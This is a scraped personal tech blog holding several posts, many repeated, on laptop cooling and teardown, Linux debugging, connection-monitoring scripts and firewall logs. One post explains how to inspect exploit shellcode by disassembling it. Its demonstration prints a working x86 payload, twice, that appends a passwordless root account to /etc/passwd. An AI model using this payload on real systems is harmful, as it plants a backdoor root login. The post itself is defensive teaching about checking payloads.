Atheros b/g/n Wifi, Realtek Audio, BT3, Altec-Lansing Speakers, 6 Cell Battery.
Basically a pretty powerful system. I wouldn't attach an ULTRA tag [my way of rating notebooks: low, midrange, high, ultra] to it but would consider it to be a HIGH end machine [a first for me since i am used to owning low to mid-range systems]...
Anyway, considering a heatwave thats been plaguing the area where I live, a decent cooling solution had to be designed as my old cooling pad was busted with 2 of its fans burnt out.
So basically I had this old but totally unused 12 volt .3 amps [3.6 watts] DC chassis fan lying around which I had extracted from my desktop since the mobo didn't have a chassis fan socket. Using an old router adapter rated at 12volts .7 amps DC [No.1 rule in Electrical Engg: Voltage should be the same, Current should be equal or more], laptop packaging and some nice nifty tools, made my own DIY cooling pad.
It turned out pretty good considering its simplicity.
Pics attached [I'm too lazy to take detailed photos, if you don't understand the design, then leave a comment and I could help you out]:
Pic 1: Underside.
Pic 2: Upside.
End Result: Cool'n'Quiet system, 1 week's lunch money saved :-)
Update: Since this is a internal desktop chassis fan, it has a high dB level, bloody thing makes noise like a jet engine. Good thing my speakers damp it all out with music... ;-D
Update: Since this is a internal desktop chassis fan, it has a high dB level, bloody thing makes noise like a jet engine. Good thing my speakers damp it all out with music... ;-D
Wednesday, July 4, 2012
Reanimated
Wednesday, March 16, 2011
Japan Earthquake and Fukushima Daiichi Crisis
We are all well aware of the tragic earthquake and tsunami that caused massive damage and great loss of life to the Japanese coastal areas. Also the situation seems very critical at the Fukushima Daiichi nuclear facility where engineers are attempting their best to avert a possible meltdown. My prayers go out to all the people and their families affected and I pray that that they are successful in stabilizing the situation. Also I salute all the people currently involved in the rescue and stabilization process. You are the real heroes guys...
Sunday, March 13, 2011
Dell Studio 1535 cleaning/disassembly
The temperature sensors on procyon [My Dell Studio 1535] laptop were constantly hitting abnormal values recently. CPU kept on idling at around 60C, even after my previous post on the fix for lm_sensors configuration applied. So I knew that it was time I opened the girl up and do her some good'ol fashioned cleaning. So I borrowed a cam, took out my toolbox, acquired some Thermal Compound [Shin-Etsu Microsi's G-751 Thermal Paste (thanks Shray!)] from a good friend, added some Pink Floyd on my playlist and got to work. Here are a few pics of the internals for anyone's viewing pleasure since I could not find any decent teardown images of the same model on the web. Enjoy....
 | ||
| Backplate opened, Fan/Heat-sink assembly and processor removed |
 |
| Close-up of the first image. |
 |
| The processor[Top]: Intel T5750 [2GHz, Socket-P, 2MBL2, 667 FSB] |
 |
| The processor[Bottom] |
 |
| Fan/Heat-sink assembly [Top] |
 |
| Fan/Heat-sink assembly [Bottom] [Note the thermal pads for the MCH and GFX chips] |
 |
| Fan/Heatsink assembly [Top, Fan Removed] |
 |
| Fan/Heat-sink assembly [Bottom, Fan Removed] |
 |
| Fan(Dirty) [Top] |
 |
| Fan(Dirty) [Bottom] |
 |
| Partially Cleaned Heat-sink Fins |
 |
| ATI Mobility Radeon HD3450 256MB [The 2 chips on the left are the 128MBx2(Samsung) RAMDACs] |
 |
| The Intel 965PM MCH |
 |
| The Intel MCH and The Socket-P processor socket |
 |
| The WPAN and WLAN[Broadcom BCM4312] cards. |
 |
| Nanya 1GB DDR2 PC2-5300 @ 333 MHz x2 RAM Cards |
 |
| The HDD [Western Digital WD3200BPVT] and The DVD drive |
After a thorough cleaning and application of new thermal grease, the temps have dropped significantly by at least ~10C
End result: a cool and quiet system and a wholly satisfied conscience :)
Sunday, March 6, 2011
detailed kernel bootup debug messages
Users like me prefer as much debugging output in applications as possible because this makes performance and stability issues easy to understand. This also allows one to see what all is going on behind the scenes for crash debugging. A few amendments can be added to the kernel boot parameters of a Linux kernel to allow for detailed messages and verbose output:
By modifying the 'kernel' line in grub or editing the relevant boot file under /boot/grub and adding the following[in bold]:
debug = activates internal debugging.
ignore_loglevel = ignores any sort of log level and maximizes debug output.
log_buf_len = increases the log buffer length to 10 MiB
print_fatal_signals = print any fatal signals.
LOGLEVEL = enables level 8 logging.
earlyprintk = enables early printing of messages to the vga screen
,keep = keeps the messages on for longer.
sched_debug = Enables verbose scheduler debug messages.
Ref:
http://www.kernel.org/doc/Documentation/kernel-parameters.txt
https://wiki.archlinux.org/index.php/GRUB#Advanced_Debugging
By modifying the 'kernel' line in grub or editing the relevant boot file under /boot/grub and adding the following[in bold]:
kernel /boot/vmlinuz26 root=/dev/disk/by-label/Arch ro debug ignore_loglevel log_buf_len=10M print_fatal_signals=1 LOGLEVEL=8 earlyprintk=vga,keep sched_debugheavy debugging can be easily activated.
debug = activates internal debugging.
ignore_loglevel = ignores any sort of log level and maximizes debug output.
log_buf_len = increases the log buffer length to 10 MiB
print_fatal_signals = print any fatal signals.
LOGLEVEL = enables level 8 logging.
earlyprintk = enables early printing of messages to the vga screen
,keep = keeps the messages on for longer.
sched_debug = Enables verbose scheduler debug messages.
Ref:
http://www.kernel.org/doc/Documentation/kernel-parameters.txt
https://wiki.archlinux.org/index.php/GRUB#Advanced_Debugging
Friday, March 4, 2011
customized slow output on a console
One of the primary scripts I run on my desktop embedded urxvt terminals is an active connections display script. Its primary function is to utilize 'netstat' and 'lsof' to display all TCP/UDP connections to/from my system. The problem comes with running apps such as firefox or feed readers where multiple connections are established that most of the output scrolls away very fast. So I customized the script to slowly output line by line:
#!/bin/bash
echo "" > connpoll.log
function read_file()
{
count=0
while read line
do
echo -e "$line"
count=$[$count+1]
sleep .15
if [ $count -eq 12 ]
then
count=0
sleep 3
fi
done < connpoll.log
}
while [ 1 ]
do
echo ">>>>>>>>>>>==ACTIVE CONNECTIONS VIA LSOF==<<<<<<<<<<<" > connpoll.log
lsof -w | grep -e TCP -e UDP >> connpoll.log
echo ">>>>>>>>>>>==ACTIVE CONNECTIONS VIA NETSTAT==<<<<<<<<<<<" >> connpoll.log
netstat --tcp --udp -e -e -a --raw --program -v >> connpoll.log
read_file
sleep 8
done
The infinite while loop runs the 2 commands, directs the output to a file (connpoll.log) and executes the function 'read_file'. 'read_file' takes the file and feeds it to an internal read in the while loop which simply echos a line from the file. The 'sleep .15' provides a small time break between each line and makes the output smooth.
The script works flawlessly and with the least overhead that I could accomplish.
#!/bin/bash
echo "" > connpoll.log
function read_file()
{
count=0
while read line
do
echo -e "$line"
count=$[$count+1]
sleep .15
if [ $count -eq 12 ]
then
count=0
sleep 3
fi
done < connpoll.log
}
while [ 1 ]
do
echo ">>>>>>>>>>>==ACTIVE CONNECTIONS VIA LSOF==<<<<<<<<<<<" > connpoll.log
lsof -w | grep -e TCP -e UDP >> connpoll.log
echo ">>>>>>>>>>>==ACTIVE CONNECTIONS VIA NETSTAT==<<<<<<<<<<<" >> connpoll.log
netstat --tcp --udp -e -e -a --raw --program -v >> connpoll.log
read_file
sleep 8
done
The infinite while loop runs the 2 commands, directs the output to a file (connpoll.log) and executes the function 'read_file'. 'read_file' takes the file and feeds it to an internal read in the while loop which simply echos a line from the file. The 'sleep .15' provides a small time break between each line and makes the output smooth.
The script works flawlessly and with the least overhead that I could accomplish.
exploitdb svn up again
For the past 2 weeks, a svn checkout of exploit db always resulted in:
svn: Network connection closed unexpectedly
Today, finally its up again. Grab a local copy via:
$] svn co svn://www.exploit-db.com/
or to update a local copy, just do a 'svn update' in the checkout folder.
svn: Network connection closed unexpectedly
Today, finally its up again. Grab a local copy via:
$] svn co svn://www.exploit-db.com/
or to update a local copy, just do a 'svn update' in the checkout folder.
Thursday, February 24, 2011
dangers of publicly disclosed weaponized exploits
POC (Proof Of Concept) exploits are very easy to find. One doesn't have to look further than a Google search for countless lists. Similarly, weaponized versions are also available through the same channels. Skiddies never had it so good when to comes to downloading, compiling and owning the next door neighbour's box. But sometimes such perfect pieces of art have a terrible secret.
Most skiddies never bother to even look at the code before compiling/running them. They just can't wait to see the familiar 'C:\..' or '#' prompts on their consoles. The payloads provided with any exploit can be a proper bind/reverse stager or it may even be a piece of malware!
Lets be honest and think like a skiddie for once. I want to pwn a box, I fire up nmap and see that port xxx is open on the other end. I google for a 'port xxx exploit' and get some code from a disclosure website written in C. Instructions say to compile and run. A small look at the code may not reveal any problems, at least with the higher level C but does the shellcode checkout?? For that matter it may well be a double edged sword. It could very well download something on the skiddie's box, run it and provide his system and the victim's system to the 'real' cracker.
There are ways by which one can analyze payloads by converting them back to assembly. By using a simple disassembler, the original assembly code can be rebuilt and understood.
As a simple example, lets take the following shellcode:
\x31\xc0\x40\x89\xc3\xcd\x80
Any shellcoder would easily recognize this as a simple exit() syscall shellcode used as a "hello world!" alternative in teaching shellcoding. All we need to do is to convert, write it as a binary file and disassemble it. The assembler we are going to use is ndisasm (Netwide Disassembler).
I have written a small python script for this very purpose:
Also we can take the alphanumeric version of the shellcode I posted a while back and get the same output:
python2 shellcode_2_asm.py \xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23
[+]normalized hexstring: eb385e31c088460b88462bc6462a0a8d5e0c895e2c8d1e66b9420466baa401b005cd8089c331d28b4e2cb21fb004cd80b006cd80b00131dbcd80e8c3ffffff2f6574632f70617373776423746f6f723a3a303a303a743030723a2f726f6f743a2f62696e2f626173682023
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000 EB38 jmp short 0x3a
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 88460B mov [esi+0xb],al
00000008 88462B mov [esi+0x2b],al
0000000B C6462A0A mov byte [esi+0x2a],0xa
0000000F 8D5E0C lea ebx,[esi+0xc]
00000012 895E2C mov [esi+0x2c],ebx
00000015 8D1E lea ebx,[esi]
00000017 66B94204 mov cx,0x442
0000001B 66BAA401 mov dx,0x1a4
0000001F B005 mov al,0x5
00000021 CD80 int 0x80
00000023 89C3 mov ebx,eax
00000025 31D2 xor edx,edx
00000027 8B4E2C mov ecx,[esi+0x2c]
0000002A B21F mov dl,0x1f
0000002C B004 mov al,0x4
0000002E CD80 int 0x80
00000030 B006 mov al,0x6
00000032 CD80 int 0x80
00000034 B001 mov al,0x1
00000036 31DB xor ebx,ebx
00000038 CD80 int 0x80
0000003A E8C3FFFFFF call dword 0x2
0000003F 2F das /*NOTE: This point onwards is the string
00000040 657463 gs jz 0xa6 *db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'.
00000043 2F das *The disassembler assumes the string as instructions
00000044 7061 jo 0xa7 *and creates the assembly for it.
00000046 7373 jnc 0xbb *So it is safe to ignore all the code below.
00000048 .........
[++++++++++++++++ASM DUMP++++++++++++++++]
A few points to note here:
1. The script assumes 32 bit shellcode, to vary it for 64 bit, change the line "ndisasm -b 32 binary" to "ndisasm -b 64 binary"
2. Downloading and running exploits should be done with utmost caution and if possible use custom payloads.
3. DONT BE A SKIDDIE!
Most skiddies never bother to even look at the code before compiling/running them. They just can't wait to see the familiar 'C:\..' or '#' prompts on their consoles. The payloads provided with any exploit can be a proper bind/reverse stager or it may even be a piece of malware!
Lets be honest and think like a skiddie for once. I want to pwn a box, I fire up nmap and see that port xxx is open on the other end. I google for a 'port xxx exploit' and get some code from a disclosure website written in C. Instructions say to compile and run. A small look at the code may not reveal any problems, at least with the higher level C but does the shellcode checkout?? For that matter it may well be a double edged sword. It could very well download something on the skiddie's box, run it and provide his system and the victim's system to the 'real' cracker.
There are ways by which one can analyze payloads by converting them back to assembly. By using a simple disassembler, the original assembly code can be rebuilt and understood.
As a simple example, lets take the following shellcode:
\x31\xc0\x40\x89\xc3\xcd\x80
Any shellcoder would easily recognize this as a simple exit() syscall shellcode used as a "hello world!" alternative in teaching shellcoding. All we need to do is to convert, write it as a binary file and disassemble it. The assembler we are going to use is ndisasm (Netwide Disassembler).
I have written a small python script for this very purpose:
#!/usr/bin/pythonLets try it shall we:
#s4ndman - shellcode to assembly conversion script for shellcode inspection.
#Requires: ndisasm
import os
import sys
import binascii
if len(sys.argv) < 2:
print "[i]run syntax:"
print "[i]"+sys.argv[0]+" hexcode"
print "[i]example:"
print "[i]"+sys.argv[0]+" \\x31\\xc0\\x40\\x89\\xc3\\xcd\\x80"
sys.exit()
try:
f = open("binary", "wb")
except:
print "[-]file create error!"
sys.exit()
hstring = sys.argv[1].replace("\\x","")
hstring = hstring.replace("x","")
print "[+]normalized hexstring: "+hstring
hexstring = binascii.a2b_hex(hstring)
f.write(hexstring)
f.close()
print "[++++++++++++++++ASM DUMP++++++++++++++++]"
os.system("ndisasm -b 32 binary")
print "[++++++++++++++++ASM DUMP++++++++++++++++]"
os.system("rm binary")
sys.exit()
└─>>$] python2 shellcode_2_asm.py \x31\xc0\x40\x89\xc3\xcd\x80And there we go, the 32bit exit() syscall assembly.
[+]normalized hexstring: 31c04089c3cd80
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000 31C0 xor eax,eax
00000002 40 inc eax
00000003 89C3 mov ebx,eax
00000005 CD80 int 0x80
[++++++++++++++++ASM DUMP++++++++++++++++]
Also we can take the alphanumeric version of the shellcode I posted a while back and get the same output:
python2 shellcode_2_asm.py \xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23
[+]normalized hexstring: eb385e31c088460b88462bc6462a0a8d5e0c895e2c8d1e66b9420466baa401b005cd8089c331d28b4e2cb21fb004cd80b006cd80b00131dbcd80e8c3ffffff2f6574632f70617373776423746f6f723a3a303a303a743030723a2f726f6f743a2f62696e2f626173682023
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000 EB38 jmp short 0x3a
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 88460B mov [esi+0xb],al
00000008 88462B mov [esi+0x2b],al
0000000B C6462A0A mov byte [esi+0x2a],0xa
0000000F 8D5E0C lea ebx,[esi+0xc]
00000012 895E2C mov [esi+0x2c],ebx
00000015 8D1E lea ebx,[esi]
00000017 66B94204 mov cx,0x442
0000001B 66BAA401 mov dx,0x1a4
0000001F B005 mov al,0x5
00000021 CD80 int 0x80
00000023 89C3 mov ebx,eax
00000025 31D2 xor edx,edx
00000027 8B4E2C mov ecx,[esi+0x2c]
0000002A B21F mov dl,0x1f
0000002C B004 mov al,0x4
0000002E CD80 int 0x80
00000030 B006 mov al,0x6
00000032 CD80 int 0x80
00000034 B001 mov al,0x1
00000036 31DB xor ebx,ebx
00000038 CD80 int 0x80
0000003A E8C3FFFFFF call dword 0x2
0000003F 2F das /*NOTE: This point onwards is the string
00000040 657463 gs jz 0xa6 *db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'.
00000043 2F das *The disassembler assumes the string as instructions
00000044 7061 jo 0xa7 *and creates the assembly for it.
00000046 7373 jnc 0xbb *So it is safe to ignore all the code below.
00000048 .........
[++++++++++++++++ASM DUMP++++++++++++++++]
A few points to note here:
1. The script assumes 32 bit shellcode, to vary it for 64 bit, change the line "ndisasm -b 32 binary" to "ndisasm -b 64 binary"
2. Downloading and running exploits should be done with utmost caution and if possible use custom payloads.
3. DONT BE A SKIDDIE!
Wednesday, February 23, 2011
examining firewall log entries...
While going through the usual iptables log, its pretty interesting to see what all lurks out on the world wide web. There are some usual and unusual entries such as:
localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xxx.xxx.xx.x DST=yyy.yyy.yyy.yyy LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=61742 DF PROTO=TCP SPT=4993 DPT=23 SEQ=2106909432 ACK=0 WINDOW=5808 RES=0x00 SYN URGP=0 OPT (020405AC0402080A012E13D60000000001030300)
localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xx.xxx.xxx.x DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=95 ID=256 PROTO=TCP SPT=6000 DPT=1433 SEQ=2031616000 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0
localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xxx.xxx.xx.xxx DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=119 ID=256 DF PROTO=TCP SPT=12200 DPT=1080 SEQ=474681 ACK=0 WINDOW=8192 RES=0x00 SYN URGP=0
Which upon analysis reveal some pretty interesting facts...
1. Firstly I notice a lot of TCP Syn packets being denied at ports 1080, 3128, 8000, 8080 etc
2. Also a lot of attempts at ports 1433, 1434
3. And finally some random attempts at 22, 23, 25
Whats interesting is that all the source IPs are random and in some situations, there is a flag on 2 ports per IP.
These are what I think may be the causes:
1. A simple lookup would reveal the purpose of these ports as the following:
1080 : socks
3128 : squid-http
8000 : http-alt
8080 : http-proxy
With this, one can easily deduce that many systems over the web are intentionally/unintentionally checking for open proxies on random IP addresses. These may be normal boxes with scripts/programs running that generate random IPs or using old server connection logs. They may also be infected systems with malware performing the same task. This is one of the many ways lists of open proxies surface on underground websites.
2. These are the ports on which Microsoft SQL server typically listens on and may well be sought after by full blown malware looking for newer prey or automated scans running on a cracker's box.
3. These are usually ports for the typical ssh, telnet and smtp services and are most probably being scanned for vulnerabilities or vulnerable configurations by malware on rooted boxes or automated/active scans running on a cracker's box.
Its quite funny to see the intensity of these reports on the logs. Quite a few popup every hour or so. It is a reminder that a by just connecting a system to the internet without properly securing it can be pretty fatal. Its a dangerous WWW out there and web safety requires proper measures to be taken before connecting the wire.
localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xxx.xxx.xx.x DST=yyy.yyy.yyy.yyy LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=61742 DF PROTO=TCP SPT=4993 DPT=23 SEQ=2106909432 ACK=0 WINDOW=5808 RES=0x00 SYN URGP=0 OPT (020405AC0402080A012E13D60000000001030300)
localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xx.xxx.xxx.x DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=95 ID=256 PROTO=TCP SPT=6000 DPT=1433 SEQ=2031616000 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0
localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xxx.xxx.xx.xxx DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=119 ID=256 DF PROTO=TCP SPT=12200 DPT=1080 SEQ=474681 ACK=0 WINDOW=8192 RES=0x00 SYN URGP=0
Which upon analysis reveal some pretty interesting facts...
1. Firstly I notice a lot of TCP Syn packets being denied at ports 1080, 3128, 8000, 8080 etc
2. Also a lot of attempts at ports 1433, 1434
3. And finally some random attempts at 22, 23, 25
Whats interesting is that all the source IPs are random and in some situations, there is a flag on 2 ports per IP.
These are what I think may be the causes:
1. A simple lookup would reveal the purpose of these ports as the following:
1080 : socks
3128 : squid-http
8000 : http-alt
8080 : http-proxy
With this, one can easily deduce that many systems over the web are intentionally/unintentionally checking for open proxies on random IP addresses. These may be normal boxes with scripts/programs running that generate random IPs or using old server connection logs. They may also be infected systems with malware performing the same task. This is one of the many ways lists of open proxies surface on underground websites.
2. These are the ports on which Microsoft SQL server typically listens on and may well be sought after by full blown malware looking for newer prey or automated scans running on a cracker's box.
3. These are usually ports for the typical ssh, telnet and smtp services and are most probably being scanned for vulnerabilities or vulnerable configurations by malware on rooted boxes or automated/active scans running on a cracker's box.
Its quite funny to see the intensity of these reports on the logs. Quite a few popup every hour or so. It is a reminder that a by just connecting a system to the internet without properly securing it can be pretty fatal. Its a dangerous WWW out there and web safety requires proper measures to be taken before connecting the wire.
Saturday, February 12, 2011
python proxy tester
Getting hold of proxy lists is a not a problem these days. A lot of websites provide pages upon pages of proxies but the issue arises when more than 60-70% of them don't work. Sitting and testing each one can be a pain so to ease the issue, I fired up medit and wrote the following script.
The script takes input as a file with the structure:
[ip]:[port]
code: http://pastebin.com/w5iardS4
The script takes input as a file with the structure:
code: http://pastebin.com/w5iardS4
Subscribe to:
Posts (Atom)